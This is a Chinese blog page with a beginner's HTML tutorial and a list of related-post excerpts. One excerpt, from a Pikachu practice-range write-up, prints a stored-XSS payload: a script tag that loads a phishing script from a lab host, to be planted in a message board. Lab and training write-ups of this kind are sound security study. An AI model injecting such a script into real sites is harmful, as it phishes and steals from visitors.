当前位置：首页 > news >正文

入门四认识HTML

news 2025/6/8 17:33:31

一、HTML介绍

1、Web前端三大核心技术

2、什么是HTML

3、Html标签

4、标签属性

二、HTML骨架标签

三、编写HTML工具

四、常用标签

1、注释

2、标题标签

3、段落标签

4、超链接标签

5、图片标签

6、换行与空格

7、布局标签

8、列表标签

9、表单标签

五、总结

一、HTML介绍

1、Web前端三大核心技术

HTML：负责网页的架构

CSS：负责网页的样式、美化

JS：负责网页的行动

2、什么是HTML

HTML是用来描述网页的一种语言。

3、Html标签

单标签<html>

双标签<h>内容</h>

4、标签属性

属性格式：属性名=“属性值” <a href="http://www.jd.com">京东</a>

二、HTML骨架标签

html：根标签，所有的内容都应该放到html标签中

head：头部标签

body：身体标签（代码编写区域）

三、编写HTML工具

四、常用标签

1、注释

作用：描述的内容不会被浏览器执行

说明：解释代码的含义给程序员看。

国际通用快捷键：Ctrl+/

测试点：前端页面发布上线之前，需要检查（描述不恰当的文字出现）所有注释或去除注释。

2、标题标签

说明：HMTL标题是通过<h1>—<h6>等标签进行定义

示例：

3、段落标签

说明：HTML段落是通过<p>标签进行定义的

示例：

4、超链接标签

说明：超链接是通过<a>标签进行定义的，点击文本跳转指定页面

示例：

属性：href：跳转地址 target：新窗口打开

5、图片标签

说明：网页中插入图片就要使用图片标签，HTML图片是通过<img>标签进行定义的

测试点：必须有title属性（悬停和未加载显示）

示例：

属性：

src：图片路径 title：光标悬停显示文字 alt：图片未加载时显示文字

width：图片宽度 height：图片高度

6、换行与空格

换行：<br/> 空格：%nbsp；

示例：

7、布局标签

说明：设置页面布局，便于排版，常用（div+span）

示例：

8、列表标签

说明：列表标签常用 li 元素（分为：有序和无序）

示例：

style：js标签 script：js标签 link：外部加载css标签

9、表单标签

说明：页面提交输入信息需要使用表单标签<from>

按钮测试点：通用使用value进行赋值

属性：

文本框：<input type="text" />

密码框：<input type="password" />

单选框：<input type="radio" name="1" />男 <input type="radio" name="1"/>女

复选框：<input type="checkbox" />

提交按钮：<input type="submit"/>

清空按钮： <input type="reset"/>

普通按钮：<input type="button"/>

示例：

五、总结

入门四认识HTML

目录一、HTML介绍 1、Web前端三大核心技术 2、什么是HTML 3、Html标签 4、标签属性二、HTML骨架标签三、编写HTML工具四、常用标签 1、注释 2、标题标签 3、段落标签 4、超链接标签 5、图片标签 6、换行与空格 7、布局标签 8、列表标签 9、表单…...

编程日记 2024/5/28 17:51:57

js怎么生成验证码？js生成指定长度的随机字符串

在项目中经常有生成随机字符串的需求，比如验证接口签名、验证码(Node.js发送短信或邮箱验证码、生成图片验证码)，我们可以使用Javascript生成随机字符。使用随机数从给出的可能字符中抽取合并字符串优点是可以自定义结果中字符的取值，比如…...

编程日记 2024/5/28 17:50:54

Python魔法之旅-魔法方法(01)

目录一、概述 1、定义 2、作用二、主要应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类…...

编程日记 2024/5/28 17:49:52

介绍下 npm 模块安装机制，为什么输入 npm install 就可以自动安装对应的模块

npm（Node Package Manager）模块安装机制是Node.js生态系统中非常重要的一部分，它允许开发者轻松管理和安装Node.js项目的依赖项。下面我将详细介绍npm模块的安装机制，以及为什么输入npm install就可以自动安装对应的模块。 npm模…...

编程日记 2024/5/28 17:48:51

vue2如何父组件对象双向绑定子组件

对于Vue 2，你不能直接用v-model绑定对象，但可以通过在子组件内部处理value prop的变化并触发input事件来模拟这一行为。父组件A 1<template> 2 <ComponentB v-model"item" prop-names"addressId,date,startTime,endTime&quo…...

编程日记 2024/5/28 17:47:50

[Android]在后台线程执行耗时操作，然后在主线程更新UI

1.Coroutines（官方推荐） Coroutines 提供了一种轻量级的线程管理方式，使得在后台线程执行任务和在主线程更新 UI 变得简单。以下是如何在 Kotlin 中使用 Coroutines 来处理耗时逻辑并更新 UI 的步骤： 添加 Coroutines 依赖: 首…...

编程日记 2024/5/28 17:46:49

平方回文数-第13届蓝桥杯选拔赛Python真题精选

[导读]：超平老师的Scratch蓝桥杯真题解读系列在推出之后，受到了广大老师和家长的好评，非常感谢各位的认可和厚爱。作为回馈，超平老师计划推出《Python蓝桥杯真题解析100讲》，这是解读系列的第73讲。平方回文数&#…...

编程日记 2024/5/28 17:45:47

Rotary Position Embedding for Vision Transformer https://arxiv.org/abs/2403.13298 Transformer升级之路：4、二维位置的旋转式位置编码 https://kexue.fm/archives/8397 Transformer升级之路：17、多模态位置编码的简单思考 https://kexue.fm/archive…...

编程日记 2024/5/28 17:43:45

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上，如下留言板 2、此时恶意代码已经存入数据库，并存在网页中，当另一个用户打开这个网页…...

编程日记 2024/5/28 17:42:44

弘君资本炒股技巧：股票定向增发是什么意思？是好是坏？

股票定向增发是指已上市的公司向指定的组织或者个人投资者额外发行股份募集资金的融资方法，发行价格为发行前某一阶段的平均价的必定比例，增发的价格不得低于前二十个买卖日股票均价的80％。例如，个股定增前二十个买卖股票平均价为…...

编程日记 2024/5/28 17:41:42

vue3项目使用pinia状态管理器----通俗易懂

1、首先安装pinia yarn add pinia # 或使用npm npm install pinia 2、在项目的src目录下新建store文件夹，然后store目录下新建index.js / index.ts ： 我这里是index,js import { createPinia } from "pinia"// 创建 Pinia 实例 const pinia …...

编程日记 2024/5/28 17:40:41

零基础学Java第二十五天之Lambda表达式

Lambda表达式简介 Lambda是一个匿名函数(方法)， 允许把函数作为一个方法的参数。利用Lambda表达式可以写出更简洁、更灵活的代码。作为一种更紧凑的代码风格，使Java的语言表达能力得到了提升。一般都是优化匿名内部类基础语法无参数、无返回值的抽…...

编程日记 2024/5/28 17:39:40

VSCode配置Lua5.4安装

参考：VSCode 配置 Lua 开发环境(清晰明了)_lua vscode-CSDN博客 1.下载 Lua Binaries Download (sourceforge.net) 2.配置环境变量解压放到某文件夹： 环境变量： 3.VSCode安装插件 4.配置 5.测试...

编程日记 2024/5/28 17:35:36

CI/CD:持续集成/持续部署

1. 安装docker、docker-compose # 安装Docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i sdownload.docker.commirrors.aliyun.com/docker-ce /…...

编程日记 2024/5/28 17:34:35

一、HTML介绍

1、Web前端三大核心技术

2、什么是HTML

3、Html标签

4、标签属性

二、HTML骨架标签

三、编写HTML工具

四、常用标签

1、注释

2、标题标签

3、段落标签

4、超链接标签

5、图片标签

6、换行与空格

7、布局标签

8、列表标签

9、表单标签

五、总结

相关文章：